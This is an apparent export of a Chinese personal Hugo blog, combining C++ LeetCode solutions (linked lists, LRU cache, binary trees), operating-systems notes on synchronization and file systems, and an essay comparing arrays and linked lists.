ListNode* swapPairs(ListNode* head) { // 边界条件 if (!head) return nullptr; if (head \u0026amp;\u0026amp; !head-\u0026gt;next) return head; // 和反转链表递归差不多，都是先递进到末尾 ListNode* new_head = swapPairs(head-\u0026gt;next-\u0026gt;next); // 现在new_head和以后的已经交换完成了 // 需要对当前的head和head-\u0026gt;next进行交换 // 然后返回的是head-\u0026gt;next作为上一层的new_head ListNode* nxt = head-\u0026gt;next; head-\u0026gt;next = new_head; nxt-\u0026gt;next = head; return nxt; } }; 138.随机链表的复制 # /* // Definition for a Node. class Node { public: int val; Node* next; Node* random; Node(int _val) { val = _val; next = NULL; random = NULL; } }; */ class Solution { public: Node* copyRandomList(Node* head) { unordered_map\u0026lt;Node*, Node*\u0026gt; mp; for (Node* p = head; p; p = p-\u0026gt;next) { mp[p] = new Node(p-\u0026gt;val); } for (Node* p = head; p; p = p-\u0026gt;next) { mp[p]-\u0026gt;next = mp[p-\u0026gt;next]; mp[p]-\u0026gt;random = mp[p-\u0026gt;random]; } return mp[head]; } }; 148.排序链表 # /** * Definition for singly-linked list. * struct ListNode { * int val; * ListNode *next; * ListNode() : val(0), next(nullptr) {} * ListNode(int x) : val(x), next(nullptr) {} * ListNode(int x, ListNode *next) : val(x), next(next) {} * }; */ class Solution { public: ListNode* getmid(ListNode* node) { ListNode* slow = node, *fast = node; // 偏向左侧的中点 while (fast-\u0026gt;next \u0026amp;\u0026amp; fast-\u0026gt;next-\u0026gt;next) { slow = slow-\u0026gt;next; fast = fast-\u0026gt;next-\u0026gt;next; } return slow; } ListNode* merge(ListNode* l, ListNode* r) { ListNode dummy(-1); ListNode* curr = \u0026amp;dummy; while (l \u0026amp;\u0026amp; r) { if (l-\u0026gt;val \u0026lt; r-\u0026gt;val) { curr-\u0026gt;next = l; l = l-\u0026gt;next; } else { curr-\u0026gt;next = r; r = r-\u0026gt;next; } curr = curr-\u0026gt;next; } curr-\u0026gt;next = (l)?l:r; return dummy.next; } ListNode* sortList(ListNode* head) { if (head == nullptr || head-\u0026gt;next == nullptr) return head; ListNode* mid = getmid(head); ListNode* new_head = mid-\u0026gt;next; mid-\u0026gt;next = nullptr; ListNode* l = sortList(head); ListNode* r = sortList(new_head); return merge(l, r); } }; 146.LRU缓存 # struct Node { int key; int val; Node* prev; Node* next; Node(int k = 0, int v = 0) : key(k), val(v) {}; }; class LRUCache { public: int capacity; Node* dummy; unordered_map\u0026lt;int, Node*\u0026gt; key_to_node; void push_front(Node* x) { x-\u0026gt;prev = dummy; x-\u0026gt;next = dummy-\u0026gt;next; x-\u0026gt;prev-\u0026gt;next = x; x-\u0026gt;next-\u0026gt;prev = x; } void remove(Node* x) { x-\u0026gt;prev-\u0026gt;next = x-\u0026gt;next; x-\u0026gt;next-\u0026gt;prev = x-\u0026gt;prev; } Node* get_node(int key) { auto it = key_to_node.find(key); if (it == key_to_node.end()) { return nullptr; } Node* node = it-\u0026gt;second; remove(node); push_front(node); return node; } LRUCache(int capacity) : capacity(capacity) { dummy = new Node(); dummy-\u0026gt;prev = dummy; dummy-\u0026gt;next = dummy; } int get(int key) { Node* node = get_node(key); if (node) { return node-\u0026gt;val; } else { return -1; } } void put(int key, int value) { Node* node = get_node(key); if (node) { node-\u0026gt;val = value; // push_front(node); 在get_node里面已经push了 } else { node = new Node(key, value); key_to_node[key] = node; if (key_to_node.size() \u0026gt; capacity) { // 去掉最后一个节点 Node* back = dummy-\u0026gt;prev; key_to_node.erase(back-\u0026gt;key); remove(back); delete back; } push_front(node); } } }; /** * Your LRUCache object will be instantiated and called as such: * LRUCache* obj = new LRUCache(capacity); * int param_1 = obj-\u0026gt;get(key); * obj-\u0026gt;put(key,value); */ 二叉树 # 94.二叉树的中序遍历 # color等于0的三行代码在写的时候倒着写，倒过来就是dfs的遍历顺序。前序-中左右，中序-左中右，后序-左右中，中的位置会改变，左右的相对位置不会变。\n/** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode() : val(0), left(nullptr), right(nullptr) {} * TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} * TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} * }; */ class Solution { public: void inorder_dfs(TreeNode* root, vector\u0026lt;int\u0026gt;\u0026amp; ans) { if (!root) return; if (root-\u0026gt;left) inorder_dfs(root-\u0026gt;left, ans); ans.push_back(root-\u0026gt;val); if (root-\u0026gt;right) inorder_dfs(root-\u0026gt;right, ans); } void inorder_color(TreeNode* root, vector\u0026lt;int\u0026gt;\u0026amp; ans) { stack\u0026lt;pair\u0026lt;int, TreeNode*\u0026gt;\u0026gt; stk; stk.push(make_pair(0, root)); while (!stk.empty()) { auto p = stk.top(); stk.pop(); auto color = p.first; auto node = p.second; if (node == nullptr) continue; if (color == 0) { stk.push(make_pair(0, node-\u0026gt;right)); stk.push(make_pair(1, node)); stk.push(make_pair(0, node-\u0026gt;left)); } else { ans.push_back(node-\u0026gt;val); } } } vector\u0026lt;int\u0026gt; inorderTraversal(TreeNode* root) { vector\u0026lt;int\u0026gt; ans; inorder_color(root, ans); return ans; } }; void preorder_color(TreeNode* node, vector\u0026lt;int\u0026gt;\u0026amp; ans) { stack\u0026lt;pair\u0026lt;int, TreeNode*\u0026gt;\u0026gt; stk; stk.push(make_pair(0, node)); while (!stk.empty()) { auto p = stk.top(); stk.pop(); auto color = p.first; auto node = p.second; if (node == nullptr) continue; if (color == 0) { stk.push(make_pair(0, node-\u0026gt;right)); stk.push(make_pair(0, node-\u0026gt;left)); stk.push(make_pair(1, node)); } else { ans.push_back(node-\u0026gt;val); } } } void inorder_color(TreeNode* node, vector\u0026lt;int\u0026gt;\u0026amp; ans) { stack\u0026lt;pair\u0026lt;int, TreeNode*\u0026gt;\u0026gt; stk; stk.push(make_pair(0, node)); while (!stk.empty()) { auto p = stk.top(); stk.pop(); auto color = p.first; auto node = p.second; if (node == nullptr) continue; if (color == 0) { stk.push(make_pair(0, node-\u0026gt;right)); stk.push(make_pair(1, node)); stk.push(make_pair(0, node-\u0026gt;left)); } else { ans.push_back(node-\u0026gt;val); } } } void postorder_color(TreeNode* node, vector\u0026lt;int\u0026gt;\u0026amp; ans) { stack\u0026lt;pair\u0026lt;int, TreeNode*\u0026gt;\u0026gt; stk; stk.push(make_pair(0, node)); while (!stk.empty()) { auto p = stk.top(); stk.pop(); auto color = p.first; auto node = p.second; if (node == nullptr) continue; if (color == 0) { stk.push(make_pair(1, node)); stk.push(make_pair(0, node-\u0026gt;right)); stk.push(make_pair(0, node-\u0026gt;left)); } else { ans.push_back(node-\u0026gt;val); } } } 104.二叉树的最大深度 # /** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode() : val(0), left(nullptr), right(nullptr) {} * TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} * TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} * }; */ class Solution { public: int maxDepth(TreeNode* root) { if (!root) return 0; return max(maxDepth(root-\u0026gt;left), maxDepth(root-\u0026gt;right)) + 1; } }; 226.翻转二叉树 # /** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode() : val(0), left(nullptr), right(nullptr) {} * TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} * TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} * }; */ class Solution { public: TreeNode* invertTree(TreeNode* root) { if (!root) return nullptr; if (root-\u0026gt;left || root-\u0026gt;right) { TreeNode* l = invertTree(root-\u0026gt;left); TreeNode* r = invertTree(root-\u0026gt;right); root-\u0026gt;left = r; root-\u0026gt;right = l; } return root; } }; 101.对称二叉树 # /** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode() : val(0), left(nullptr), right(nullptr) {} * TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} * TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} * }; */ class Solution { public: bool isMirrored(TreeNode* l, TreeNode* r) { if (l || r) { return l \u0026amp;\u0026amp; r \u0026amp;\u0026amp; (l-\u0026gt;val == r-\u0026gt;val) \u0026amp;\u0026amp; isMirrored(l-\u0026gt;left, r-\u0026gt;right) \u0026amp;\u0026amp; isMirrored(l-\u0026gt;right, r-\u0026gt;left); } else { return true; } } bool isMirrored_iter(TreeNode* l, TreeNode* r) { stack\u0026lt;TreeNode*\u0026gt; stk; stk.push(l); stk.push(r); while (!stk.empty()) { l = stk.top(); stk.pop(); r = stk.top(); stk.pop(); if (!l \u0026amp;\u0026amp; !r) continue; if ((!l || !r) || (l-\u0026gt;val != r-\u0026gt;val)) return false; stk.push(l-\u0026gt;left); stk.push(r-\u0026gt;right); stk.push(l-\u0026gt;right); stk.push(r-\u0026gt;left); } return true; } bool isSymmetric(TreeNode* root) { if (!root) return true; return isMirrored(root, root); } }; 543.二叉树的直径 # /** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode() : val(0), left(nullptr), right(nullptr) {} * TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} * TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} * }; */ class Solution { public: // int height(TreeNode* node) { // if (!node) return 0; // return max(height(node-\u0026gt;left), height(node-\u0026gt;right)) + 1; // } int ans = 0; // 在求树的高度的递归过程中更新答案，O(n) int height(TreeNode* node) { if (!node) return 0; // 左右递归的值其实是线段的长度，就是length int l_len = height(node-\u0026gt;left); int r_len = height(node-\u0026gt;right); ans = max(ans, l_len + r_len); // l_len+r_len是一条直径 return max(l_len, r_len) + 1; } int diameterOfBinaryTree(TreeNode* root) { height(root); return ans; } }; ","date":"2026/05/31","externalUrl":null,"permalink":"/intern/algo/","section":"实习","summary":"leetcode热题100","title":"面试算法题刷题","type":"intern"},{"content":" 一、并发执行带来的问题 # 进程/线程并发执行的基本特征：执行过程是间断的、相对速度不可预测、结果取决于精确时序（不确定性）。\n并发是所有问题的基础，也是操作系统设计的基础。\n1.1 竞态条件（Race Condition） # 两个或多个进程/线程读写共享数据时，最终结果取决于它们运行的精确时序。\n例子1：ATM 取款\nT1: read(x); if x\u0026gt;=1000 then x:=x-1000; write(x); // 取 1000 T2: read(x); if x\u0026gt;=2000 then x:=x-2000; write(x); // 取 2000 若 T1 和 T2 的 read/write 交叉执行，最终余额可能错误。\n例子2：cnt++ 的汇编级竞态\nmovq cnt(%rip), %rdx ; Load addq $1, %rdx ; Update movq %rdx, cnt(%rip) ; Store 两个线程同时 Load 到旧值 → 两次 cnt++ 的结果可能只加了一次。\n1.2 临界区（Critical Section） # 临界资源（critical resource）：一次只允许一个进程使用的共享资源。\n临界区（critical section）：进程中访问临界资源的代码片段。\n使用原则：\n有空让进：无进程在临界区时，任何有权进程可进入 无空等待：不允许两个以上进程同时进入 有限等待：进入临界区的要求在有限时间内满足 多中择一：多个进程同时请求时，只能让其中之一进入 让权等待：等待时应放弃 CPU 1.3 互斥与同步 # 互斥（Mutual Exclusion） 同步（Synchronization） 关系 竞争共享资源，排他性使用 协作完成任务，存在时序关系 场景 写同一变量、同一文件 生产者-消费者、读者-写者 二、软件互斥解法 # 2.1 早期尝试 # 方案 思路 问题 方案1 while(free); free=true; — 临界区 — free=false lock() 不原子 方案2 while(not turn); — 临界区 — turn=other 强制轮流，无空不让进 方案3 pturn=true; while(qturn); — pturn=false After you 死锁 2.2 Dekker 算法（1965） # 第一个正确解决互斥问题的软件方案。结合 pturn / qturn（想进标志）+ turn （裁决变量）：若双方都想进，由 turn 裁决谁先谁后。\n2.3 Peterson 算法（1981） # int turn; int interested[2] = {FALSE, FALSE}; void enter_region(int process) { int other = 1 - process; interested[process] = TRUE; turn = process; while (turn == process \u0026amp;\u0026amp; interested[other] == TRUE); } void leave_region(int process) { interested[process] = FALSE; } 解决了强制轮流问题，且避免了死锁。\n三、硬件互斥解法 # 3.1 关闭中断 # disable_interrupts(); // critical section enable_interrupts(); 简单高效，但不适用于多处理器；适用于 OS 内核，不适于用户进程。\n3.2 TSL（Test and Set Lock）指令 # enter_region: tsl register, lock ; 复制锁到寄存器并将锁置 1 cmp register, #0 ; 锁原来是 0 吗？ jne enter_region ; 否 → 自旋等待 ret ; 是 → 进入临界区 leave_region: mov lock, #0 ret TSL 是原子的\u0026quot;读-改-写\u0026quot;指令，多处理器有效，但忙等待形成自旋锁（Spin Lock）。\n硬件方法存在优先级反转问题：高优先级进程自旋等待低优先级进程释放锁。\n四、信号量与 PV 操作 # 由 Dijkstra 于 1965 年提出。\n4.1 信号量定义 # struct semaphore { int count; // 信号量值 queueType queue; // 等待队列 }; 4.2 P / V 操作 # P(s): V(s): s.count--; s.count++; if (s.count \u0026lt; 0) { if (s.count \u0026lt;= 0) { 阻塞当前进程； 唤醒 s.queue 中一个进程； 插入 s.queue 等待； 改为就绪态，插入就绪队列； 重新调度； } } P (proberen) = 测试/申请，V (verhogen) = 增加/释放 P、V 是原语（不可中断），通过关中断或 TSL 实现 |s.count| = 等待队列中的进程数 4.3 用 PV 解决互斥 # semaphore mutex = 1; P(\u0026amp;mutex); // 进入临界区 /* critical section */ V(\u0026amp;mutex); // 离开临界区 4.4 用 PV 解决生产者-消费者问题 # semaphore mutex = 1; // 互斥访问缓冲区 semaphore empty = N; // 空闲槽位数 semaphore full = 0; // 已占用槽位数 // 生产者 item = produce_item(); P(\u0026amp;empty); // 先申请空位（同步），再申请互斥 P(\u0026amp;mutex); insert_item(item); V(\u0026amp;mutex); V(\u0026amp;full); // 消费者 P(\u0026amp;full); // 先等有货，再申请互斥 P(\u0026amp;mutex); item = remove_item(); V(\u0026amp;mutex); V(\u0026amp;empty); 两个 P 顺序不能颠倒——先 P(mutex) 再 P(empty) 会导致死锁（缓冲区满时生产者持 mutex 等 empty，消费者等 mutex 无法消费）。\n4.5 用 PV 解决读者-写者问题 # 问题描述：多个进程共享一个数据区，这些进程分为两组：\n读者进程：只读数据区中的数据 写者进程：只往数据区写数据 要求满足条件：允许多个读者同时执行读操作；不允许多个写者同时操作；不允许读者、写者同时操作\n读者优先 描述：\nint rc = 0; // 读者计数 semaphore mutex = 1; // 保护 rc semaphore w = 1; // 写者/第一个读者的互斥 // 读者 P(\u0026amp;mutex); rc++; if (rc == 1) P(\u0026amp;w); // 第一个读者锁住写者 V(\u0026amp;mutex); /* 读操作 */ P(\u0026amp;mutex); rc--; if (rc == 0) V(\u0026amp;w); // 最后一个读者释放写者 V(\u0026amp;mutex); // 写者 P(\u0026amp;w); /* 写操作 */ V(\u0026amp;w); 五、管程（Monitor） # 是一种语言机制，核心是条件变量/wait/signal\n5.1 为什么引入管程 # 信号量机制的 PV 操作分散在代码各处，编写困难、容易出错。管程将共享数据、操作和同步集中在一个模块中，由编译器保证互斥，是一种高级同步机制。\n5.2 管程结构 # 管程 Monitor： ┌─ 共享数据结构 ├─ 一组操作过程（互斥进入，编译器保证） ├─ 条件变量 + wait / signal └─ 初始化代码 管程由关于共享资源的数据结构及在其上操作的一组过程组成。\n进程只能通过调用管程中的过程来间接访问管程中的数据结构。过程是互斥的，某一时刻只能有一个进程在管程中执行。\n5.3 条件变量与 wait / signal # 管程需要解决两个问题：一是互斥，这个由编译器负责保证（管程是互斥进入的）；二是同步，管程中通过设置条件变量及等待/唤醒操作来解决。具体的策略是，可以让一个进程/线程在条件变量上等待，此时，先释放管程的使用权；后面通过发送信号来将这些等待的进程/线程唤醒。\n条件变量：管程内用于同步的特殊变量，每个条件变量关联一个等待队列。\n这里有一个问题是，当一个进程在管程中执行 wait 后，应当释放管程互斥权；但后续 signal 唤醒时，管程中存在两个活跃进程。有三种解决方案：\n方案 signal 后的处理 Hoare 唤醒者进入紧急队列等待，被唤醒者立即执行 Hansen (Concurrent Pascal) signal 必须是管程最后一个操作 Mesa signal → notify，唤醒者继续执行，被唤醒者将来恢复 5.4 Hoare 管程 # wait(c): 若紧急队列非空 → 唤醒第一个等待者 否则 → 释放管程互斥权，自身进入 c 链尾部 signal(c): 若 c 链非空 → 唤醒第一个等待者，自身进入紧急队列尾部 否则 → 空操作 入口等待队列：等待进入管程 紧急等待队列：因 signal 而被挂起的进程，优先级高于入口队列 在JAVA中，synchronized 块就是一个管程，go_to_sleep() / notify() 就是条件变量的 wait/signal。例如public synchronized void insert(int val)。\n5.5 Mesa 管程 # signal → notify：通知 c 队列，唤醒者继续执行。\n被唤醒进程在将来某时恢复执行，不能保证在它之前没有其他进程进入管程，可能会导致条件又不成立了，必须用 while 重新检查条件（而非 if）。\nMesa 优于 Hoare：在Hoare中有两次额外的进程切换，可能会使条件队列中的进程永久挂起。没有额外的进程切换开销，且因 while 重检条件，错误唤醒不会导致出错。\n对notify的改进：给每个条件原语关联一个监视计时器，不论条件是否被通知，一个等待时间超时的进程将被设置为就绪状态。当该进程被调度执行时，会再次检查相关条件，如果条件满足则继续执行。超时可以防止如下情况的发生：当某些进程在产生相关条件的信号之前失败时，等待该条件的进程被无限制地推迟执行而处于饥饿状态。\n5.6 broadcast # 使某条件变量上的所有等待进程进入就绪态。适用于：不知道有多少进程需要被激活；生产者产生一批数据但不知道每个消费者消耗多少。\n5.7 用信号量构造管程（间接实现） # 利用基础管程模块（enter/leave/wait/signal），每个基础管程维护 mutex（入口互斥）、urgent（紧急等待队列）和 urgent_count。条件变量映射为独立的信号量和等待计数。\n六、锁（Mutex） # 锁常用于实现用户空间线程包，有加锁和解锁两种状态。\n6.1 锁的实现方式 # 方式 特点 关闭中断 单 CPU 有效，忙等待 TSL / XCHG 指令 多 CPU 有效，自旋锁 睡眠/唤醒 + 关中断 无忙等待，保护等待队列 6.2 锁的基本结构 # struct mutex { bool locked; queue_t queue; }; mutex_lock() { while (atomic_swap(\u0026amp;locked, true) == true) { add_to_queue(\u0026amp;queue, current_thread); yield_cpu(); // 让出 CPU } } mutex_unlock() { atomic_swap(\u0026amp;locked, false); if (!queue_empty) wakeup(next_thread); } 七、Pthreads 中的同步机制 # 类型 API 用途 互斥锁 pthread_mutex_lock / unlock 保护临界区 条件变量 pthread_cond_wait / signal / broadcast 线程间同步 pthread_cond_wait 的三个原子动作：解锁 → 等待信号 → 收到信号后重新上锁。被唤醒后必须用 while 重新检查条件。\n八、同步机制的层次 # 硬件原子操作（load/store、关中断、TSL、XCHG） ↓ 同步原语（信号量、管程、锁、条件变量） ↓ 并发程序（进程/线程） 硬件事务内存是一些新的硬件扩展，从硬件层面支持一部分事务性、原子性，可以提高现代多核场景下的并发度。\n现代硬件充满了指令重排，表面看没有使用锁的代码可能也会有并发问题。\n原子操作：在执行过程中不可被中断的操作，保证了并发环境下的正确性。在硬件层面，有CPU指令保证，例如在x86中的LOCK前缀指令。在操作系统层面，可以封装成API。\nFutex(fast user-space mutex) 是一种高效的用户空间锁实现，结合了用户空间的快速路径和内核空间的慢速路径。它允许线程在用户空间进行快速的锁操作(不进入内核，不系统调用，无开销，速度极快)，只有在发生竞争时才进入内核进行等待和唤醒，从而减少了上下文切换的开销。\n九、XV6 中的同步机制 # 机制 实现 应用场景 spinlock acquire() / release()，忙等待 proc、kmem、log、console sleeplock 用 spinlock 保护内部结构，阻塞等待 inode 操作（fs.c, bio.c） sleep / wakeup 等效 P / V，chan 作为信号标识，sleep 时释放 lock proc、bio、pipe XV6 的生产者-消费者实例：pipe.c 中的环形缓冲区 pi-\u0026gt;data，用 sleep / wakeup 实现同步。\n","date":"2026/05/28","externalUrl":null,"permalink":"/os/study_notes/8-async_mechanism/","section":"Operating Systems","summary":"","title":"操作系统笔记8：同步机制","type":"os"},{"content":"","date":"2026/05/14","externalUrl":null,"permalink":"/tags/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/","section":"","summary":"","title":"数据结构","type":"tags"},{"content":"这个文章算是第一篇具有博客性质的文章（我估计），一方面是想写一点我对于这两种数据结构的一些思考，以及与我学习生活的关联；另一方面是锻炼文字能力，只有真的一个字一个字敲键盘才发现自己有时候连一个通顺的句子都写不出来。这俩数据结构虽然是看起来很简单的东西，但是我从接触编程到现在发觉这俩东西蕴含的能量其实很大。\n能把这俩放在一起比较的，目前我能想到的就是数据结构考试中会出现，或者实习面试可能会出现，不过都是作为简单的东西出现。事实上的确原理都很简单，但是谈到应用就很夯了。\n我在大一上入门编程的时候学习的是Python，最基础的数据结构就是列表了，而且当时学的时候很开心，因为啥都能往里面放，比如整数、浮点数、字符串，甚至是列表、集合等等。做简单算法题也很舒服，输入的东西一般想都不用想就直接往列表里面装，想用谁或者修改就直接用索引取出来就行了，真的是方便的不得了。除了取值，还可以在常数时间内在末尾append值。【注：python列表存的是引用，底层有开销。】\n在大一下学习了链表，真的是不比不知道一比吓一跳，真的是麻烦死了（我个人感觉是这样的）。一方面想写个链表要专门搞个类来写，另一方面访问或者修改某个节点都要从头遍历一遍。不过，有个好处是一个节点可以装很多的东西，比如装一个整数一个字符串，只需要保证有一个连接着后续节点的指针即可。\n此外，做有关链表的算法题也是很烧脑，最恶心的就是无法随机存取，在写题的时候需要动脑子想怎么遍历才不会出错，才能找到想要的那个值。比如反转链表之类的。\n这个时候我就已经发现数组和链表有一些很显然的区别点了：\n数组可以随机存取，对于访问值是O(1)复杂度的，十分方便；而链表只能顺序访问，要访问某个结点是需要O(n)复杂度的。 做简单算法题能用数组就用数组，尽量别碰链表。 数组保存的东西往往是比较固定的或者已知大小的；而链表保存的东西是可以自定义的，只需要保证有一个后续节点指针来作链接即可。 不过，链表并不只是只能用来做线性的存储方式，每个节点从原先的存一个后续节点指针改为存多个节点指针，便成了树。那有关树的问题往往是数组不好解决的了，比如二叉树、红黑树之类，在实际应用中各种树结构以其独特的优点得以大放光彩，比如查找效率和插入效率极高的红黑树。那这种情况下数组显然是没法碰瓷的。\n在大二上，我学习了ICS课程，算是第一次正式接触到C语言和其比较底层的东西。说实话我第一次看到C语言的时候，有一种很奇怪的感觉，就是为啥每个变量都要在名字前面加上类型啊？你看人家Python多方便，直接写名字就行了。我当时还因为这个东西和一个朋友吵了半天，他当时说的是那是因为你没有遇到过大工程，写Python不带类型你到用的时候都不知道你引用的东西到底是个字符串还是个整数。我那时还不知道Python也可以在变量名处写类型名（比如def f(num: int) -\u0026gt; int），还相当不服气他说的话，坚持觉得C语言这样写类型很繁琐且不好看。除此之外还有为啥数组只能放一种数据类型啊？这样哪有python方便呢？【注：C语言会在运行时强制类型检查，python中的类型注解只是给人看的提示，即使在上面例子中num传入一个字符串也不会报错】\n在ICS课程中首先就介绍了计算机的内存是一个大的数组，每个位置存一个字节的数据。接着又学了C语言中各个类型的大小，比如一般来说short是2字节，int是4字节等等。还学了大端序和小端序，即在内存中字节之间存放的顺序。\n我在某天突然又想到了我在之前和朋友争吵的那个问题，比如在C语言中我定义了一个数组int array[3]，然后写int a = array[1]，这个变量a前面的int真的是有必要写的吗？我假如写成short a可以吗？\n事实上是可以的，而这也是为什么需要添加类型的原因。首先，数组中的数据是顺序存储的，在上面的例子中3个int是连续放着的，4字节4字节挨着的。接着，array[1]其实只是一个指针解引用后的值，相当于是*(array + 1)，这里由于array存的是以4字节为单位的数据，加1就是加4个字节，所以这个指针实际上指向的是第二个int的起始地址。最后，正是由于这个a前面写的是int，才会从这个地址处读取int的4个字节的数据，并把字节顺序颠倒（由于是小端序）得到最终a的结果。假设a的类型写成short，那无所谓呀，直接从刚刚这个地址处读取2个字节的数据颠倒给a即可。然而这显然是没有意义的（一般来说）。虽然我感觉这个东西对于其他人来说是很小儿科的，但是确实是困惑了我很久，并在学习到这里的时候才发现是底层存储所安排好的。\n这里我其实是搞懂了一个事实，也就是类型会影响读取长度。但是，这并不是解释为什么C语言需要在变量前写类型的原因。后来，学到了汇编语言，这才发现，C代码的类型是会影响汇编代码的，在生成每条机器码之前，编译器是需要知道每个操作数的大小和操作类型的，以及需要知道内存布局应该是如何做的。也就是说写类型是C语言设计所决定的。\n有关C语言设计决定的还有在编译期间确定内存布局，这一点在学习struct和union结构的时候感受最深，当时是第一次知晓struct的内容在内存布局原来是如此规矩成方圆，这里就不多赘述具体原则了。\n再后来，在ICS中第一次碰到需要用到链表的应该是虚拟内存管理的部分，在管理空闲内存的时候用到了链表来把一个个空闲的内存块串起来，加上各种分配算法实现高效的动态内存分配。\n我记得最深刻的就是在描述隐式空闲链表的部分，对于节点的设计是如此之精妙。还记得前面说的树的结构吗？在那个时候，我傻傻地认为链表的每个节点顶多就存个后续几个指针，再存个数据，就已经对其利用很足了；没想到在这里能对其进一步“压榨”。对于一个节点，当前节点指针指的是这个节点本身的数据的起始地址；然而，这个节点的起始地址却在节点指针之前\u0026ndash;在数据起始地址之前，还存着一个4字节（或8字节）的合并了的数据，即当前节点的大小 和 当前节点是否是空闲状态 的 或运算 的 结果，具体可以看一下上图，真的是精妙至极，算是把位运算玩的炉火纯青了（为什么能这样合并？因为每一个块的大小都是8字节的倍数，保证了起始地址是按照8字节对齐的，也就意味着其低3位都是0。在取节点大小的时候把低3位置0即可）。此外还有节点末尾的信息，和头部一致来保证能够遍历链表。\n这里我们整理一下思绪，原本的链表都是保证存一个后续指针，可能会存有数据；这里的链表并没有显式地存后续指针，而是选择了存当前节点的大小，从而利用指针地址运算（加上节点大小）即可得到前后节点的指针。至于为什么能这样做？那当然得益于内存大数组的连续性了啊！毕竟，这里管理的是空闲内存块，它们是连续的，当然可以用地址运算来获取前后块了啊！所以，在这个应用中，数组是地基，链表是地基上面的一个个楼房，由于地基的连续性保证了楼房也在紧紧挨着，方便了相邻楼房之间的互访。此时二者已不再是割裂的数据结构了，而是互利互惠的关系了。\n除了这里有利用到链表，还有在编写一个小型proxy时，对于来自server的内容进行LRU缓存时也有用到。具体地，维护一个双向链表，头部表示最近使用的内容和URL，尾部表示最远使用的内容和URL。每次URL访问都会将其对应的节点移到链表的开头，若整个链表满了，只需要把末尾的节点抛弃即可。尽管在实现上颇有做双向链表算法题时候的烧脑感，但是原理还是易懂的。\n这里还想再谈谈数组没法碰瓷的链表应用：红黑树。就仅仅拿Linux来说，光是一个红黑树就被用在了好几个部分，这里引用来自Linux Weekly News的一段话：\nThere are a number of red-black trees in use in the kernel. The deadline and CFQ I/O schedulers employ rbtrees to track requests; the packet CD/DVD driver does the same. The high-resolution timer code uses an rbtree to organize outstanding timer requests. The ext3 filesystem tracks directory entries in a red-black tree. Virtual memory areas (VMAs) are tracked with red-black trees, as are epoll file descriptors, cryptographic keys, and network packets in the “hierarchical token bucket” scheduler.\n比如在调度模块中有CFS调度算法利用红黑树来管理可运行进程，在虚拟内存管理模块中的vm_area_struct有红黑树节点来管理虚拟地址空间区域，在高性能网络服务中的epoll机制中有红黑树来管理连接文件描述符和其数据\u0026hellip;\u0026hellip;这足以看出红黑树的威力了吧！此外，还记得上面提到的链表节点的写法吗？要存后续指针和当前节点的数据内容。然而在Linux中却采用了另一种天才般的方式：把红黑树的节点反向保存在数据内容结构体当中，然后对于节点本身依然维护着一颗红黑树。也就是说，从原先的数据保存在节点里，变成了节点保存在数据里了。有关红黑树在Linux中具体的实现这里也不在赘述，可参考： Linux虚拟内存系统与红黑树的应用浅析 2026/02/23\u0026middot;Updated: 2026/05/07\u0026middot;4294 words\u0026middot;22 mins\u0026middot; loading \u0026middot; loading 红黑树在Linux中的定义声明，和简单的使用方法；对container_of宏的解析 ","date":"2026/05/14","externalUrl":null,"permalink":"/blogs/my_view_of_list/","section":"Blogs","summary":"写一点我对于这两种数据结构的一些思考，以及与我学习生活的关联。二者在实际应用中不是割裂的！","title":"数组与链表之我见","type":"blogs"},{"content":"","date":"2026/05/14","externalUrl":null,"permalink":"/tags/%E9%93%BE%E8%A1%A8/","section":"","summary":"","title":"链表","type":"tags"},{"content":"","date":"2026/05/07","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","date":"2026/05/07","externalUrl":null,"permalink":"/authors/claude/","section":"Authors","summary":"","title":"Claude","type":"authors"},{"content":"","date":"2026/05/07","externalUrl":null,"permalink":"/authors/galeink/","section":"Authors","summary":"","title":"Galeink","type":"authors"},{"content":"","date":"2026/05/07","externalUrl":null,"permalink":"/tags/hugo/","section":"","summary":"","title":"Hugo","type":"tags"},{"content":"","date":"2026/05/07","externalUrl":null,"permalink":"/tags/%E5%89%8D%E7%AB%AF/","section":"","summary":"","title":"前端","type":"tags"},{"content":" 笔者认为本文内容较为繁杂且逻辑不算特别清晰，有“见木不见林”的感觉，后续会对本文框架和逻辑进行调整，敬请期待。当前版本更适合用来作为一个速查手册。 一、文件系统基本概念 # 1.1 文件是什么？ # 文件是对磁盘的抽象。文件是一组带标识(标识即为文件名)的、在逻辑上有完整意义的信息项序列。其中信息项：构成文件内容的基本单位（单个字节，或多个字节），各信息项之间具有顺序关系。\n信息项0 │ 信息项1 │ …… │ 信息项i │ …… │ 信息项n-1 │ ↑ 读写指针 文件内容的意义由文件的建立者和使用者解释。\n1.2 文件分类（UNIX） # 类型 说明 普通文件（regular） 用户信息，ASCII 或二进制 目录文件（directory） 管理文件系统的系统文件 特殊文件（special） 字符设备文件（串行 I/O）、块设备文件（磁盘） 管道文件、套接字、符号链接文件 进程间通信等 1.3 文件系统 # 统一管理信息资源，管理文件的存储、检索、更新，提供安全可靠的共享和保护手段。\n核心功能：\n统一管理磁盘空间，实施分配与回收 实现文件的按名存取（名字空间 ↔ 磁盘空间的映射） 实现文件信息共享，提供可靠性和安全保障 向用户提供方便使用的接口 提供与 I/O 系统的统一接口 1.4 典型文件系统 # 本地文件系统：EXT4、XFS、Btrfs、NTFS、APFS、OpenZFS、exFAT 移动设备专用文件系统：F2FS 分布式文件系统：HDFS、CephFS、GlusterFS、Lustre 二、文件的逻辑结构与存取方式 